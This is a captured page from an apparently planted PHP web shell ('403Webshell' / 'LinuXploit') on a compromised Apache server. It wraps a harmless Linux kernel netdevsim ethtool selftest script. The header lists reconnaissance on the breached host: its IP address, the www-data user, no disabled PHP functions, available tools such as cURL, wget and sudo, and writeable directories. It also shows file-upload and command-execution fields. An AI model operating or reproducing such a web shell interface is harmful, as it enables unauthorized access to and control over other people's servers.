403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.198
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/src/linux-headers-6.8.0-45/tools/testing/selftests/drivers/net/netdevsim/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/src/linux-headers-6.8.0-45/tools/testing/selftests/drivers/net/netdevsim/ethtool-common.sh
#!/bin/bash
# SPDX-License-Identifier: GPL-2.0-only

NSIM_ID=$((RANDOM % 1024))
NSIM_DEV_SYS=/sys/bus/netdevsim/devices/netdevsim$NSIM_ID
NSIM_DEV_DFS=/sys/kernel/debug/netdevsim/netdevsim$NSIM_ID/ports/0
NSIM_NETDEV=
num_passes=0
num_errors=0

function cleanup_nsim {
    if [ -e $NSIM_DEV_SYS ]; then
	echo $NSIM_ID > /sys/bus/netdevsim/del_device
    fi
}

function cleanup {
    cleanup_nsim
}

trap cleanup EXIT

function check {
    local code=$1
    local str=$2
    local exp_str=$3
    local exp_fail=$4

    [ -z "$exp_fail" ] && cop="-ne" || cop="-eq"

    if [ $code $cop 0 ]; then
	((num_errors++))
	return
    fi

    if [ "$str" != "$exp_str"  ]; then
	echo -e "Expected: '$exp_str', got '$str'"
	((num_errors++))
	return
    fi

    ((num_passes++))
}

function make_netdev {
    # Make a netdevsim
    old_netdevs=$(ls /sys/class/net)

    if ! $(lsmod | grep -q netdevsim); then
	modprobe netdevsim
    fi

    echo $NSIM_ID $@ > /sys/bus/netdevsim/new_device
    udevadm settle
    # get new device name
    ls /sys/bus/netdevsim/devices/netdevsim${NSIM_ID}/net/
}

Youez - 2016 - github.com/yon3zu
LinuXploit